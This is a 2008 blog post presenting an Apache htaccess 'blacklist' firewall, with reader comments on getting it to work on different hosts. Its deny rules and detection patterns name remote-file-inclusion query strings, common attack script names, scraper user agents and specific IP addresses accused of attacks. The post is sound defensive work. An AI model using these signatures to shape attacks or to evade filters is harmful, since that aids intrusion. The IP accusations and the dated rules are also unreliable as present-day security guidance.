Latest TweetsNew version of Disable Gutenberg includes options to disable for specific theme templates and/or post/page IDs. wordpress.org/plugins/disable-…
Perishable Press

Perishable Press 3G Blacklist

[ 3G Stormtroopers ]

After much research and discussion, I have developed a concise, lightweight security strategy for Apache-powered websites. Prior to the development of this strategy, I relied on several extensive blacklists to protect my sites against malicious user agents and IP addresses.

Over time, these mega-lists became unmanageable and ineffective. As increasing numbers of attacks hit my server, I began developing new techniques for defending against external threats. This work soon culminated in the release of a “next-generation” blacklist that works by targeting common elements of decentralized server attacks.

Consisting of a mere 37 lines, this “2G” Blacklist provided enough protection to enable me to completely eliminate over 350 blacklisting directives from my site’s root htaccess file. This improvement increased site performance and decreased attack rates, however many bad hits were still getting through. More work was needed..

The 3G Blacklist

Work on the 3G Blacklist required several weeks of research, testing, and analysis. During the development process, five major improvements were discovered, documented, and implemented. Using pattern recognition, access immunization, and multiple layers of protection, the 3G Blacklist serves as an extremely effective security strategy for preventing a vast majority of common exploits. The list consists of four distinct parts, providing multiple layers of protection while synergizing into a comprehensive defense mechanism. Further, as discussed in previous articles, the 3G Blacklist is designed to be as lightweight and flexible as possible, thereby facilitating periodic cultivation and maintenance. Sound good? Here it is:

# PERISHABLE PRESS 3G BLACKLIST

# PART I: CHARACTER STRINGS
<IfModule mod_alias.c>
 RedirectMatch 403 \:
 RedirectMatch 403 \;
 RedirectMatch 403 \<
 RedirectMatch 403 \>
 RedirectMatch 403 \/\,
 RedirectMatch 403 \/\/
 RedirectMatch 403 f\-\.
 RedirectMatch 403 \.\.\.
 RedirectMatch 403 \.inc
 RedirectMatch 403 alt\=
 RedirectMatch 403 ftp\:
 RedirectMatch 403 ttp\:
 RedirectMatch 403 \.\$url
 RedirectMatch 403 \/\$url
 RedirectMatch 403 \/\$link
 RedirectMatch 403 news\.php
 RedirectMatch 403 menu\.php
 RedirectMatch 403 main\.php
 RedirectMatch 403 home\.php
 RedirectMatch 403 view\.php
 RedirectMatch 403 about\.php
 RedirectMatch 403 blank\.php
 RedirectMatch 403 block\.php
 RedirectMatch 403 order\.php
 RedirectMatch 403 search\.php
 RedirectMatch 403 errors\.php
 RedirectMatch 403 button\.php
 RedirectMatch 403 middle\.php
 RedirectMatch 403 threads\.php
 RedirectMatch 403 contact\.php
 RedirectMatch 403 include\.php
 RedirectMatch 403 display\.php
 RedirectMatch 403 register\.php
 RedirectMatch 403 authorize\.php
 RedirectMatch 403 \/wp\-signup\.php
 RedirectMatch 403 \/classes\/
 RedirectMatch 403 \/includes\/
 RedirectMatch 403 \/path\_to\_script\/
 RedirectMatch 403 ImpEvData\.
 RedirectMatch 403 head\_auth\.
 RedirectMatch 403 db\_connect\.
 RedirectMatch 403 check\_proxy\.
 RedirectMatch 403 doeditconfig\.
 RedirectMatch 403 submit\_links\.
 RedirectMatch 403 change\_action\.
 RedirectMatch 403 send\_reminders\.
 RedirectMatch 403 comment\-template\.
 RedirectMatch 403 syntax\_highlight\.
 RedirectMatch 403 admin\_db\_utilities\.
 RedirectMatch 403 admin\.webring\.docs\.
 RedirectMatch 403 function\.main
 RedirectMatch 403 function\.mkdir
 RedirectMatch 403 function\.opendir
 RedirectMatch 403 function\.require
 RedirectMatch 403 function\.array\-rand
 RedirectMatch 403 ref\.outcontrol
</IfModule>

# PART II: QUERY STRINGS 
<ifmodule mod_rewrite.c>
 RewriteCond %{QUERY_STRING} ftp\:   [NC,OR]
 RewriteCond %{QUERY_STRING} http\:  [NC,OR]
 RewriteCond %{QUERY_STRING} https\: [NC,OR]
 RewriteCond %{QUERY_STRING} \[      [NC,OR]
 RewriteCond %{QUERY_STRING} \]      [NC]
 RewriteRule .* -                    [F,L]
</ifmodule>

# PART III: USER AGENTS
SetEnvIfNoCase User-Agent "Jakarta Commons" keep_out
SetEnvIfNoCase User-Agent "Y!OASIS/TEST"    keep_out
SetEnvIfNoCase User-Agent "libwww-perl"     keep_out
SetEnvIfNoCase User-Agent "MOT-MPx220"      keep_out
SetEnvIfNoCase User-Agent "MJ12bot"         keep_out
SetEnvIfNoCase User-Agent "Nutch"           keep_out
SetEnvIfNoCase User-Agent "cr4nk"           keep_out
<Limit GET POST PUT>
 order allow,deny
 allow from all
 deny from env=keep_out
</Limit>

# PART IV: IP ADDRESSES
<Limit GET POST PUT>
 order allow,deny
 allow from all
 deny from 75.126.85.215  "# blacklist candidate 2008-01-02 = admin-ajax.php attack "
 deny from 128.111.48.138 "# blacklist candidate 2008-02-10 = cryptic character strings "
 deny from 87.248.163.54  "# blacklist candidate 2008-03-09 = block administrative attacks "
 deny from 84.122.143.99  "# blacklist candidate 2008-04-27 = block clam store loser "
</Limit>

Installation and Usage

Before using the 3G Blacklist, check the following system requirements:

  • Linux server running Apache
  • Enabled Apache module: mod_alias
  • Enabled Apache module: mod_rewrite
  • Ability to edit your site’s root htaccess file (or)
  • Ability to modify Apache’s server configuration file

With these requirements met, copy and paste the entire 3G Blacklist into either the root htaccess file or the server configuration file. After uploading, visit your site and check proper loading of as many different types of pages as possible. For example, if you are running a blogging platform (such as WordPress), test different page views (single, archive, category, home, etc.), log into and surf the admin pages (plugins, themes, options, posts, etc.), and also check peripheral elements such as individual images, available downloads, and alternate protocols (FTP, HTTPS, etc.).

While the 3G Blacklist is designed to target only the bad guys, the regular expressions used in the list may interfere with legitimate URL access. If this happens, the browsing device will display a 403 Forbidden error. Don’t panic! Simply check the blocked URL, locate the matching blacklist string, and disable the directive by placing a pound sign ( # ) at the beginning of the associated line. Once the correct line is commented out, the blocked URL should load normally. Also, if you do happen to experience any conflicts involving the 3G Blacklist, please leave a comment or contact me directly. Thank you :)

Wrap Up..

As my readers know, I am serious about site security. Nothing gets my adrenaline pumping more than the thought of a giant meat grinder squirting out endless chunks of mangled cracker meat. Spam and other exploitative activity on the web has grown exponentially. Targeting and blocking individual agents and IP is no longer a viable strategy. By recognizing and immunizing against the broadest array of common attack elements, the 3G Blacklist maximizes resources while providing solid defense against malicious attacks.

Updates

Updates to the 3G Blacklist/firewall:

2008/05/14

Removed “RedirectMatch 403 \/scripts\/” from the first part of the blacklist due to conflict with Mint Statistics.

2008/05/18

Removed the following three directives to facilitate Joomla functionality:

RedirectMatch 403 \/modules\/
RedirectMatch 403 \/components\/
RedirectMatch 403 \/administrator\/

2008/05/31

Removed “RedirectMatch 403 config\.php” from the first part of the list to ensure proper functionality with the “visual-editing” feature of the WordPress Admin Area.

Jeff Starr
About the Author Jeff Starr = Creative thinker. Passionate about free and open Web.
Archives
84 responses
  1. Jeff Starr

    Get in touch with your web host asap and explain the issue.. it sounds like something in the htaccess file (or the htaccess file itself) tripped a permanent server error. Generally when errors like this happens it requires a reset of the server software to restore functionality.

    As for the cause of the problem, I would make sure that your server is running Apache and that your host enables local htaccess directives. After that, you need to ensure that the required Apache modules are available to local htaccess files. If you are unsure about any of this, contact your host and they should be able to help you.

  2. Thanks so much for the help mate, I solved the problem by manually deleting .htaccess in two directories (I have wp installed on a subdirectory with index.php in the root) and recreating them with the original data, so sorry for bothering you.

    I’m still unsure why the 3G list would cause such havoc, but since the server is running Apache and that my host enables local htaccess directives, I’m going to research into number 3: that “required Apache modules are available to local htaccess files”. I hope to get it sorted soon as I can, I will let you know how it goes.
    Thanks again.

  3. TechJammer October 7, 2008 @ 5:14 pm

    Jeff: You have Jakarta Commons blacklisted above, and I have User-Agent entries in my logfile for “Jakarta_Commons-HttpClient/3.1” and also “Jakarta_Commons-HttpClient/3.1-rc1”.

    Can you tell me why they are blacklisted? I tried to search info on the web and didn’t find anything useful.

  4. Jeff Starr

    It’s been awhile, but if I recall correctly, the Jakarta Commons user agent was associated with some relentless email harvesting and subsequent spam activity. I think I finally just got tired of seeing their UA associated with so many mindless resource requests.. Since blacklisting it, Jakarta immediately became a non-issue, so I dumped it from memory. Nonetheless, I encourage you to experiment for yourself. Try removing their UA from the blacklist and watch for any suspicious activity..

  5. TechJammer October 8, 2008 @ 5:35 am

    Thanks for the info Jeff, and also for maintaining such a useful web site! I have used quite a few of your tips and suggestions, and your site has become my primary reference for .htaccess and site security issues!

  6. Denny Smith October 17, 2008 @ 7:29 am

    Thanks for all of your hard work on this site. I too refer to your site anytime I’m in need of .htaccess info / WordPress loop hacks. Your loops have been instrumental in many of my projects.

    Very impressive work!

    Thank You!

  7. Jeff Starr

    Hi Denny, thanks for the kind words! It is certainly an honor to be able to help others with WordPress, htaccess, and other web-design/development projects.

    Btw, I really like your site! May I ask how you implemented the live (I assume) video/cam stream in the header area? Very cool.. ;)

  8. I’ve had to change all the redirectmatches to rewrite rules in order for it to work on my host.

    eg.)

    RewriteCond %{REQUEST_URI} ^\: [OR]
    RewriteCond %{REQUEST_URI} ^\; [OR]
    RewriteCond %{REQUEST_URI} ^\< [OR]
    ....
    RewriteCond %{REQUEST_URI} ^ref\.outcontrol
    RewriteRule .* - [F,L]

    I don’t touch rewrite rules very often, I was wondering if I have this correct.

  9. Jeff Starr

    @Nicole: Interesting that your host allows rewriting but not redirectmatch.. may I ask which host you are using?

    As for the code, it looks correct, but you could easily test it by appending any of the matched character strings to various URLs at your site. Try a few different ones, and if the URLs return a 403 Forbidden response, everything should be fine.

  10. Thanks Jeff, everything works correctly after testing it.

    I think the mod_alias problem is an issue with the method my host uses for setting up virtual hosting and not permitting symbolic links to be served, or to even override that option.

  11. Jeff Starr

    Great, Nicole — glad to hear everything is working correctly. Cheers :)

  12. Hey Jeff,

    I am using Windows Media Encoder, a Pentium 4 pc as a server with a simple web cam setup in my office. Windows Media Encoder is free. The web cam was 50 bucks and the code is a simple (but not very W3c) emebed Windows Media Player.

    Perhaps to date, I am the only person that feeds live video on myspace with the same setup.

    Imagine what some people could do if they got their hands on that info! LOL!

[ Comments are closed for this post ]